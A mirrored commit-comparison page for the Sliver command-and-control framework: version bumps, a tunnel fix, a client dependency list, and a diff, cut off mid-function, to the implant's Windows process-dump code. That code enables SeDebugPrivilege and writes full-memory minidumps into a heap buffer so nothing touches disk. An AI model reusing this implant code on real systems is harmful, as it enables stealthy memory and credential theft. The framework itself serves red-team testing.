mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
62746bf135 | ||
|
|
2a8f9bca18 | ||
|
|
d46a67c840 | ||
|
|
043eda5bc4 | ||
|
|
a51d93cf58 | ||
|
|
44abb0e03b | ||
|
|
7ef4923fc0 | ||
|
|
3f83761a90 | ||
|
|
94eb13610b | ||
|
|
85265d663f |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.16.6
|
||||
FROM golang:1.16.7
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
|
||||
case data := <-tun.Recv:
|
||||
log.Printf("Read %d bytes", len(data))
|
||||
buff.Write(data)
|
||||
default:
|
||||
break
|
||||
}
|
||||
n := copy(data, buff.Bytes())
|
||||
return n, nil
|
||||
|
||||
@@ -0,0 +1,314 @@
|
||||
github.com/bishopfox/sliver/client dependencies: (generated by github.com/tailscale/depaware)
|
||||
|
||||
github.com/AlecAivazis/survey/v2 from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/AlecAivazis/survey/v2/core from github.com/AlecAivazis/survey/v2
|
||||
💣 github.com/AlecAivazis/survey/v2/terminal from github.com/AlecAivazis/survey/v2
|
||||
github.com/VividCortex/ewma from github.com/cheggaaa/pb/v3
|
||||
github.com/alecthomas/chroma from github.com/alecthomas/chroma/formatters+
|
||||
github.com/alecthomas/chroma/formatters from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/alecthomas/chroma/formatters/html from github.com/alecthomas/chroma/formatters
|
||||
github.com/alecthomas/chroma/formatters/svg from github.com/alecthomas/chroma/formatters
|
||||
github.com/alecthomas/chroma/lexers from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/alecthomas/chroma/lexers/a from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/b from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/c from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/circular from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/d from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/e from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/f from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/g from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/h from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/i from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/internal from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/j from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/k from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/l from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/m from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/n from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/o from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/p from github.com/alecthomas/chroma/lexers+
|
||||
github.com/alecthomas/chroma/lexers/q from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/r from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/s from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/t from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/v from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/w from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/x from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/y from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/lexers/z from github.com/alecthomas/chroma/lexers
|
||||
github.com/alecthomas/chroma/styles from github.com/bishopfox/sliver/client/command/filesystem
|
||||
github.com/bishopfox/sliver/client/assets from github.com/bishopfox/sliver/client/cli+
|
||||
github.com/bishopfox/sliver/client/cli from github.com/bishopfox/sliver/client
|
||||
github.com/bishopfox/sliver/client/command from github.com/bishopfox/sliver/client/cli
|
||||
github.com/bishopfox/sliver/client/command/backdoor from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/dllhijack from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/environment from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/exec from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/extensions from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/filesystem from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/generate from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/help from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/info from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/jobs from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/loot from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/command/monitor from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/network from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/operators from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/pivots from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/portfwd from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/privilege from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/processes from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/reaction from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/registry from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/screenshot from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/sessions from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/shell from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/update from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/websites from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/command/wireguard from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/console from github.com/bishopfox/sliver/client/cli+
|
||||
github.com/bishopfox/sliver/client/constants from github.com/bishopfox/sliver/client/command+
|
||||
github.com/bishopfox/sliver/client/core from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/bishopfox/sliver/client/licenses from github.com/bishopfox/sliver/client/command
|
||||
github.com/bishopfox/sliver/client/spin from github.com/bishopfox/sliver/client/console
|
||||
github.com/bishopfox/sliver/client/tcpproxy from github.com/bishopfox/sliver/client/command/portfwd+
|
||||
github.com/bishopfox/sliver/client/transport from github.com/bishopfox/sliver/client/cli
|
||||
github.com/bishopfox/sliver/client/version from github.com/bishopfox/sliver/client/cli+
|
||||
github.com/bishopfox/sliver/protobuf from github.com/bishopfox/sliver/server/assets
|
||||
github.com/bishopfox/sliver/protobuf/clientpb from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/bishopfox/sliver/protobuf/commonpb from github.com/bishopfox/sliver/client/command/environment+
|
||||
github.com/bishopfox/sliver/protobuf/rpcpb from github.com/bishopfox/sliver/client/command/loot+
|
||||
github.com/bishopfox/sliver/protobuf/sliverpb from github.com/bishopfox/sliver/client/command/backdoor+
|
||||
github.com/bishopfox/sliver/server/assets from github.com/bishopfox/sliver/util/encoders
|
||||
github.com/bishopfox/sliver/server/core from github.com/bishopfox/sliver/client/core
|
||||
github.com/bishopfox/sliver/server/log from github.com/bishopfox/sliver/server/assets
|
||||
github.com/bishopfox/sliver/util from github.com/bishopfox/sliver/client/command/filesystem+
|
||||
github.com/bishopfox/sliver/util/encoders from github.com/bishopfox/sliver/client/command/exec+
|
||||
github.com/cheggaaa/pb/v3 from github.com/bishopfox/sliver/client/command/update
|
||||
💣 github.com/cheggaaa/pb/v3/termutil from github.com/cheggaaa/pb/v3
|
||||
github.com/danwakefield/fnmatch from github.com/alecthomas/chroma/lexers/internal
|
||||
github.com/desertbit/closer/v3 from github.com/desertbit/grumble
|
||||
github.com/desertbit/columnize from github.com/bishopfox/sliver/client/command/help+
|
||||
github.com/desertbit/go-shlex from github.com/bishopfox/sliver/client/console+
|
||||
github.com/desertbit/grumble from github.com/bishopfox/sliver/client/command+
|
||||
💣 github.com/desertbit/readline from github.com/desertbit/grumble
|
||||
github.com/dlclark/regexp2 from github.com/alecthomas/chroma
|
||||
github.com/dlclark/regexp2/syntax from github.com/dlclark/regexp2
|
||||
github.com/fatih/color from github.com/bishopfox/sliver/client/console+
|
||||
github.com/golang/protobuf/proto from github.com/golang/protobuf/ptypes+
|
||||
github.com/golang/protobuf/ptypes from google.golang.org/grpc/internal/binarylog+
|
||||
github.com/golang/protobuf/ptypes/any from github.com/golang/protobuf/ptypes
|
||||
github.com/golang/protobuf/ptypes/duration from github.com/golang/protobuf/ptypes
|
||||
github.com/golang/protobuf/ptypes/timestamp from github.com/golang/protobuf/ptypes
|
||||
github.com/hashicorp/errwrap from github.com/hashicorp/go-multierror
|
||||
github.com/hashicorp/go-multierror from github.com/desertbit/closer/v3
|
||||
W 💣 github.com/inconshreveable/mousetrap from github.com/spf13/cobra
|
||||
github.com/kballard/go-shellquote from github.com/AlecAivazis/survey/v2+
|
||||
💣 github.com/mattn/go-colorable from github.com/cheggaaa/pb/v3+
|
||||
💣 github.com/mattn/go-isatty from github.com/AlecAivazis/survey/v2/terminal+
|
||||
github.com/mattn/go-runewidth from github.com/cheggaaa/pb/v3
|
||||
github.com/mgutz/ansi from github.com/AlecAivazis/survey/v2/core+
|
||||
github.com/sirupsen/logrus from github.com/bishopfox/sliver/server/log
|
||||
github.com/spf13/cobra from github.com/bishopfox/sliver/client/cli
|
||||
github.com/spf13/pflag from github.com/spf13/cobra
|
||||
google.golang.org/genproto/googleapis/rpc/status from google.golang.org/grpc/internal/status+
|
||||
google.golang.org/grpc from github.com/bishopfox/sliver/client/transport+
|
||||
google.golang.org/grpc/attributes from google.golang.org/grpc/balancer/base+
|
||||
google.golang.org/grpc/backoff from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer/base from google.golang.org/grpc+
|
||||
google.golang.org/grpc/balancer/grpclb/state from google.golang.org/grpc/internal/resolver/dns
|
||||
google.golang.org/grpc/balancer/roundrobin from google.golang.org/grpc
|
||||
google.golang.org/grpc/binarylog/grpc_binarylog_v1 from google.golang.org/grpc/internal/binarylog
|
||||
google.golang.org/grpc/codes from github.com/bishopfox/sliver/protobuf/rpcpb+
|
||||
google.golang.org/grpc/connectivity from google.golang.org/grpc+
|
||||
google.golang.org/grpc/credentials from github.com/bishopfox/sliver/client/transport+
|
||||
google.golang.org/grpc/encoding from google.golang.org/grpc+
|
||||
google.golang.org/grpc/encoding/proto from google.golang.org/grpc
|
||||
google.golang.org/grpc/grpclog from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/backoff from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/balancerload from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/binarylog from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/buffer from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/channelz from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/credentials from google.golang.org/grpc/credentials
|
||||
google.golang.org/grpc/internal/envconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/grpclog from google.golang.org/grpc/grpclog
|
||||
google.golang.org/grpc/internal/grpcrand from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/grpcsync from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/grpcutil from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/metadata from google.golang.org/grpc/internal/transport
|
||||
google.golang.org/grpc/internal/resolver from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/dns from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/passthrough from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/resolver/unix from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/serviceconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/internal/status from google.golang.org/grpc/status
|
||||
google.golang.org/grpc/internal/syscall from google.golang.org/grpc/internal/transport
|
||||
google.golang.org/grpc/internal/transport from google.golang.org/grpc
|
||||
google.golang.org/grpc/internal/transport/networktype from google.golang.org/grpc/internal/resolver/unix+
|
||||
google.golang.org/grpc/keepalive from google.golang.org/grpc+
|
||||
google.golang.org/grpc/metadata from google.golang.org/grpc+
|
||||
google.golang.org/grpc/peer from google.golang.org/grpc+
|
||||
google.golang.org/grpc/resolver from google.golang.org/grpc+
|
||||
google.golang.org/grpc/serviceconfig from google.golang.org/grpc+
|
||||
google.golang.org/grpc/stats from google.golang.org/grpc+
|
||||
google.golang.org/grpc/status from github.com/bishopfox/sliver/protobuf/rpcpb+
|
||||
google.golang.org/grpc/tap from google.golang.org/grpc+
|
||||
google.golang.org/protobuf/encoding/prototext from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/encoding/protowire from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/internal/descfmt from google.golang.org/protobuf/internal/filedesc
|
||||
google.golang.org/protobuf/internal/descopts from google.golang.org/protobuf/internal/filedesc+
|
||||
google.golang.org/protobuf/internal/detrand from google.golang.org/protobuf/internal/descfmt+
|
||||
google.golang.org/protobuf/internal/encoding/defval from google.golang.org/protobuf/internal/encoding/tag+
|
||||
google.golang.org/protobuf/internal/encoding/messageset from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/encoding/tag from google.golang.org/protobuf/internal/impl
|
||||
google.golang.org/protobuf/internal/encoding/text from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/errors from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/filedesc from google.golang.org/protobuf/internal/encoding/tag+
|
||||
google.golang.org/protobuf/internal/filetype from google.golang.org/protobuf/runtime/protoimpl
|
||||
google.golang.org/protobuf/internal/flags from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/genid from google.golang.org/protobuf/encoding/prototext+
|
||||
💣 google.golang.org/protobuf/internal/impl from google.golang.org/protobuf/internal/filetype+
|
||||
google.golang.org/protobuf/internal/order from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/pragma from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/set from google.golang.org/protobuf/encoding/prototext
|
||||
💣 google.golang.org/protobuf/internal/strs from google.golang.org/protobuf/encoding/prototext+
|
||||
google.golang.org/protobuf/internal/version from google.golang.org/protobuf/runtime/protoimpl
|
||||
google.golang.org/protobuf/proto from github.com/bishopfox/sliver/protobuf/sliverpb+
|
||||
google.golang.org/protobuf/reflect/protodesc from github.com/golang/protobuf/proto
|
||||
💣 google.golang.org/protobuf/reflect/protoreflect from github.com/bishopfox/sliver/protobuf/clientpb+
|
||||
google.golang.org/protobuf/reflect/protoregistry from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/runtime/protoiface from github.com/golang/protobuf/proto+
|
||||
google.golang.org/protobuf/runtime/protoimpl from github.com/bishopfox/sliver/protobuf/clientpb+
|
||||
google.golang.org/protobuf/types/descriptorpb from google.golang.org/protobuf/reflect/protodesc
|
||||
google.golang.org/protobuf/types/known/anypb from github.com/golang/protobuf/ptypes/any+
|
||||
google.golang.org/protobuf/types/known/durationpb from github.com/golang/protobuf/ptypes/duration+
|
||||
google.golang.org/protobuf/types/known/timestamppb from github.com/golang/protobuf/ptypes/timestamp+
|
||||
gopkg.in/AlecAivazis/survey.v1 from github.com/bishopfox/sliver/client/cli+
|
||||
gopkg.in/AlecAivazis/survey.v1/core from gopkg.in/AlecAivazis/survey.v1
|
||||
💣 gopkg.in/AlecAivazis/survey.v1/terminal from gopkg.in/AlecAivazis/survey.v1+
|
||||
golang.org/x/crypto/cast5 from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/chacha20 from golang.org/x/crypto/chacha20poly1305
|
||||
golang.org/x/crypto/chacha20poly1305 from crypto/tls
|
||||
golang.org/x/crypto/cryptobyte from crypto/ecdsa+
|
||||
golang.org/x/crypto/cryptobyte/asn1 from crypto/ecdsa+
|
||||
golang.org/x/crypto/curve25519 from crypto/tls
|
||||
golang.org/x/crypto/hkdf from crypto/tls
|
||||
golang.org/x/crypto/openpgp/armor from github.com/bishopfox/sliver/server/assets
|
||||
golang.org/x/crypto/openpgp/elgamal from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/openpgp/errors from golang.org/x/crypto/openpgp/armor+
|
||||
golang.org/x/crypto/openpgp/packet from github.com/bishopfox/sliver/server/assets
|
||||
golang.org/x/crypto/openpgp/s2k from golang.org/x/crypto/openpgp/packet
|
||||
golang.org/x/crypto/poly1305 from golang.org/x/crypto/chacha20poly1305
|
||||
golang.org/x/crypto/ssh/terminal from github.com/AlecAivazis/survey/v2+
|
||||
golang.org/x/net/dns/dnsmessage from net
|
||||
golang.org/x/net/http/httpguts from golang.org/x/net/http2+
|
||||
golang.org/x/net/http/httpproxy from net/http
|
||||
golang.org/x/net/http2 from google.golang.org/grpc/internal/transport
|
||||
golang.org/x/net/http2/hpack from golang.org/x/net/http2+
|
||||
golang.org/x/net/idna from golang.org/x/net/http/httpguts+
|
||||
D golang.org/x/net/route from net
|
||||
golang.org/x/net/trace from google.golang.org/grpc
|
||||
golang.org/x/sys/cpu from golang.org/x/crypto/chacha20poly1305
|
||||
LD golang.org/x/sys/unix from github.com/mattn/go-isatty+
|
||||
W golang.org/x/sys/windows from github.com/sirupsen/logrus+
|
||||
golang.org/x/term from golang.org/x/crypto/ssh/terminal
|
||||
golang.org/x/text/secure/bidirule from golang.org/x/net/idna
|
||||
golang.org/x/text/transform from golang.org/x/text/secure/bidirule+
|
||||
golang.org/x/text/unicode/bidi from golang.org/x/net/idna+
|
||||
golang.org/x/text/unicode/norm from golang.org/x/net/idna
|
||||
golang.org/x/text/width from github.com/AlecAivazis/survey/v2/terminal
|
||||
archive/zip from github.com/bishopfox/sliver/server/assets
|
||||
bufio from archive/zip+
|
||||
bytes from bufio+
|
||||
compress/bzip2 from golang.org/x/crypto/openpgp/packet
|
||||
compress/flate from archive/zip+
|
||||
compress/gzip from github.com/bishopfox/sliver/util/encoders+
|
||||
compress/zlib from golang.org/x/crypto/openpgp/packet+
|
||||
container/list from crypto/tls+
|
||||
context from crypto/tls+
|
||||
crypto from crypto/ecdsa+
|
||||
crypto/aes from crypto/ecdsa+
|
||||
crypto/cipher from crypto/aes+
|
||||
crypto/des from crypto/tls+
|
||||
crypto/dsa from crypto/x509+
|
||||
crypto/ecdsa from crypto/tls+
|
||||
crypto/ed25519 from crypto/tls+
|
||||
crypto/elliptic from crypto/ecdsa+
|
||||
crypto/hmac from crypto/tls+
|
||||
crypto/md5 from crypto/tls+
|
||||
crypto/rand from crypto/ed25519+
|
||||
crypto/rc4 from crypto/tls
|
||||
crypto/rsa from crypto/tls+
|
||||
crypto/sha1 from crypto/tls+
|
||||
crypto/sha256 from crypto/tls+
|
||||
crypto/sha512 from crypto/ecdsa+
|
||||
crypto/subtle from crypto/aes+
|
||||
crypto/tls from github.com/bishopfox/sliver/client/command/update+
|
||||
crypto/x509 from crypto/tls+
|
||||
crypto/x509/pkix from crypto/x509
|
||||
embed from github.com/bishopfox/sliver/protobuf
|
||||
encoding from encoding/json+
|
||||
encoding/asn1 from crypto/x509+
|
||||
encoding/base64 from encoding/json+
|
||||
encoding/binary from archive/zip+
|
||||
encoding/csv from github.com/spf13/pflag
|
||||
encoding/hex from crypto/x509+
|
||||
encoding/json from github.com/alecthomas/chroma+
|
||||
encoding/pem from crypto/tls+
|
||||
errors from archive/zip+
|
||||
flag from github.com/spf13/pflag
|
||||
fmt from compress/flate+
|
||||
go/token from google.golang.org/protobuf/internal/strs
|
||||
hash from archive/zip+
|
||||
hash/adler32 from compress/zlib
|
||||
hash/crc32 from archive/zip+
|
||||
hash/fnv from google.golang.org/protobuf/internal/detrand
|
||||
html from github.com/alecthomas/chroma/formatters/html+
|
||||
html/template from golang.org/x/net/trace
|
||||
image from github.com/bishopfox/sliver/util/encoders+
|
||||
image/color from github.com/bishopfox/sliver/util/encoders+
|
||||
image/jpeg from golang.org/x/crypto/openpgp/packet
|
||||
image/png from github.com/bishopfox/sliver/util/encoders
|
||||
io from archive/zip+
|
||||
io/fs from archive/zip+
|
||||
io/ioutil from github.com/AlecAivazis/survey/v2+
|
||||
log from github.com/bishopfox/sliver/client/assets+
|
||||
math from compress/flate+
|
||||
math/big from crypto/dsa+
|
||||
math/bits from compress/flate+
|
||||
math/rand from github.com/bishopfox/sliver/client/command/exec+
|
||||
mime from mime/multipart+
|
||||
mime/multipart from net/http
|
||||
mime/quotedprintable from mime/multipart
|
||||
net from crypto/tls+
|
||||
net/http from github.com/bishopfox/sliver/client/command/update+
|
||||
net/http/httptrace from golang.org/x/net/http2+
|
||||
net/http/httputil from google.golang.org/grpc/internal/transport
|
||||
net/http/internal from net/http+
|
||||
net/textproto from golang.org/x/net/http/httpguts+
|
||||
net/url from crypto/x509+
|
||||
os from archive/zip+
|
||||
os/exec from github.com/AlecAivazis/survey/v2+
|
||||
os/signal from github.com/cheggaaa/pb/v3/termutil+
|
||||
os/user from github.com/bishopfox/sliver/client/assets+
|
||||
path from archive/zip+
|
||||
path/filepath from crypto/x509+
|
||||
reflect from crypto/x509+
|
||||
regexp from github.com/AlecAivazis/survey/v2+
|
||||
regexp/syntax from regexp
|
||||
sort from archive/zip+
|
||||
strconv from compress/flate+
|
||||
strings from archive/zip+
|
||||
sync from archive/zip+
|
||||
sync/atomic from context+
|
||||
syscall from crypto/rand+
|
||||
text/tabwriter from github.com/bishopfox/sliver/client/command/filesystem+
|
||||
text/template from github.com/AlecAivazis/survey/v2/core+
|
||||
text/template/parse from html/template+
|
||||
time from archive/zip+
|
||||
unicode from bytes+
|
||||
unicode/utf16 from encoding/asn1+
|
||||
unicode/utf8 from archive/zip+
|
||||
+1
-1
@@ -19,7 +19,7 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.16.6"
|
||||
GO_VER="1.16.7"
|
||||
GARBLE_VER="1.16.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -20,8 +20,6 @@ package procdump
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -31,17 +29,56 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/evasion"
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
ModuleCallback = iota
|
||||
ThreadCallback
|
||||
ThreadExCallback
|
||||
IncludeThreadCallback
|
||||
IncludeModuleCallback
|
||||
MemoryCallback
|
||||
CancelCallback
|
||||
WriteKernelMinidumpCallback
|
||||
KernelMinidumpStatusCallback
|
||||
RemoveMemoryCallback
|
||||
IncludeVmRegionCallback
|
||||
IoStartCallback
|
||||
IoWriteAllCallback
|
||||
IoFinishCallback
|
||||
ReadMemoryFailureCallback
|
||||
SecondaryFlagsCallback
|
||||
IsProcessSnapshotCallback
|
||||
VmStartCallback
|
||||
VmQueryCallback
|
||||
VmPreReadCallback
|
||||
VmPostReadCallback
|
||||
|
||||
S_FALSE = 1
|
||||
S_OK = 0
|
||||
TRUE = 1
|
||||
FALSE = 0
|
||||
IncrementSize = 5 * 1024 * 1024
|
||||
MiniDumpWithFullMemory = 0x00000002
|
||||
)
|
||||
|
||||
var bytesRead uint32 = 0
|
||||
|
||||
type WindowsDump struct {
|
||||
data []byte
|
||||
}
|
||||
|
||||
type outDump struct {
|
||||
outPtr uintptr
|
||||
}
|
||||
|
||||
func (d *WindowsDump) Data() []byte {
|
||||
return d.data
|
||||
}
|
||||
@@ -50,7 +87,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
var lpTargetHandle windows.Handle
|
||||
res := &WindowsDump{}
|
||||
if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
|
||||
return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
|
||||
return res, err
|
||||
}
|
||||
|
||||
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
|
||||
@@ -68,9 +105,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
|
||||
// {{end}}
|
||||
return res, err
|
||||
}
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
if hProc != 0 {
|
||||
return minidump(uint32(pid), lpTargetHandle)
|
||||
}
|
||||
@@ -91,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
|
||||
}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// TODO: find a better place to store the dump file
|
||||
f, err := ioutil.TempFile("", "")
|
||||
|
||||
heapHandle, err := syscalls.GetProcessHeap()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Failed to create temp file:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
procMemCounters := syscalls.ProcessMemoryCounters{}
|
||||
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
|
||||
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
|
||||
heapSize := procMemCounters.WorkingSetSize + IncrementSize
|
||||
|
||||
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
|
||||
if err != nil {
|
||||
return dump, err
|
||||
}
|
||||
stdOutHandle := f.Fd()
|
||||
err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
|
||||
if err == nil {
|
||||
data, err := ioutil.ReadFile(f.Name())
|
||||
dump.data = data
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("ReadFile failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
os.Remove(f.Name())
|
||||
} else {
|
||||
|
||||
outData := outDump{
|
||||
outPtr: dumpBuffer,
|
||||
}
|
||||
|
||||
callbackInfo := MiniDumpCallbackInformation{
|
||||
CallbackRoutine: windows.NewCallback(minidumpCallback),
|
||||
CallbackParam: uintptr(unsafe.Pointer(&outData)),
|
||||
}
|
||||
|
||||
err = syscalls.MiniDumpWriteDump(
|
||||
proc,
|
||||
pid,
|
||||
0,
|
||||
MiniDumpWithFullMemory,
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&callbackInfo)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Println("Minidump syscall failed:", err)
|
||||
//{{end}}
|
||||
return dump, err
|
||||
}
|
||||
outBuff := make([]byte, bytesRead)
|
||||
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
|
||||
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
|
||||
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("HeapFree failed: \n", err)
|
||||
// {{end}}
|
||||
return dump, err
|
||||
}
|
||||
dump.data = outBuff
|
||||
return dump, nil
|
||||
}
|
||||
|
||||
type MiniDumpIOCallback struct {
|
||||
Handle uintptr
|
||||
Offset uint64
|
||||
Buffer uintptr
|
||||
BufferBytes uint32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInput struct {
|
||||
ProcessId uint32
|
||||
ProcessHandle uintptr
|
||||
CallbackType uint32
|
||||
Io MiniDumpIOCallback
|
||||
}
|
||||
|
||||
type MiniDumpCallbackOutput struct {
|
||||
Status int32
|
||||
}
|
||||
|
||||
type MiniDumpCallbackInformation struct {
|
||||
CallbackRoutine uintptr
|
||||
CallbackParam uintptr
|
||||
}
|
||||
|
||||
func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
|
||||
callbackInput := MiniDumpCallbackInput{}
|
||||
ioCallback := MiniDumpIOCallback{}
|
||||
bufferSize := unsafe.Sizeof(callbackInput)
|
||||
data := make([]byte, bufferSize)
|
||||
